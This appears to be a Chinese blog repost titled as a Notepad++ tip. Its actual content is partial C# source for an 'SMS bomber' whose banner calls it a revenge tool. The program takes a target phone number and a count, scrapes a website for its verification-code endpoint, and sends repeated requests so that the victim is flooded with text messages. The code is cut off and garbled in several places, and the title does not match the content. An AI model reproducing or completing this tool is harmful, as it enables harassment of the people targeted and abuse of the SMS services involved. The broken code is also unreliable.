使用NotePad++ 运行轻量级的C#代码
2020-12-13 15:17
标签:http io color ar os 使用 java for sp 使用NotePad++ 运行轻量级的C#代码 标签:http io color ar os 使用 java for sp 原文地址:http://www.cnblogs.com/yonllx/p/4073810.htmlusing System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Web;
using System.Net;
//using System.Runtime.Serialization.Json;
using System.Threading;
using System.Text.RegularExpressions;
namespace 短信轰炸
{
class Program
{
static void Main(string[] args)
{
Console.Title = "短信轰炸器 by 草木の灰";
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("=============================");
Console.WriteLine("= 娱乐报复利器,请谨慎使用 =");
Console.WriteLine("= http://aigudao.net =");
Console.WriteLine("=============================");
string num=string.Empty;
int count=0;
if (args.Length==1)
{
Console.WriteLine("参数个数不正确,使用格式为:xxx.exe 目标电话 轰炸次数,如:短信轰炸.exe 13800138000 20");
Console.WriteLine("任意键退出..");
Console.ReadKey();
}
else if (args.Length==2)
{
num = args[0];
int.TryParse(Console.ReadLine(), out count);
}
else
{
Console.Write("被炸号码:");
num= Console.ReadLine();
Console.Write("轰炸次数:");
while (!int.TryParse(Console.ReadLine(), out count))
{
Console.WriteLine("请输入数字!");
Console.SetCursorPosition(0,5);
Console.Write("轰炸次数:");
}
}
int success = 0;
int fail = 0;
bool isBreak = false;
Console.WriteLine("==开始轰炸,按Enter提前结束==");
//Console.WriteLine("");
Console.WriteLine("当前进度0%");
ConsoleColor backcolor = Console.BackgroundColor;
ConsoleColor foregcolor = Console.ForegroundColor;
Console.BackgroundColor = ConsoleColor.White;
for (int i = 1; i /.+?mobileSendvCode,\w+?\.ashx)"">.*?", RegexOptions.IgnoreCase);
Match mc = re.Match(content);
if (mc.Success)
{
GroupCollection gc = mc.Groups;
posturl = gc["posturl"].Value;
//Console.WriteLine("匹配成功,地址为{0}", posturl);
}
else
{
Console.WriteLine("匹配ashx失败,退出");
//continue;
return;
}
}
rescookie.Close();
//
for (int i = 1; i
上一篇:C# 反射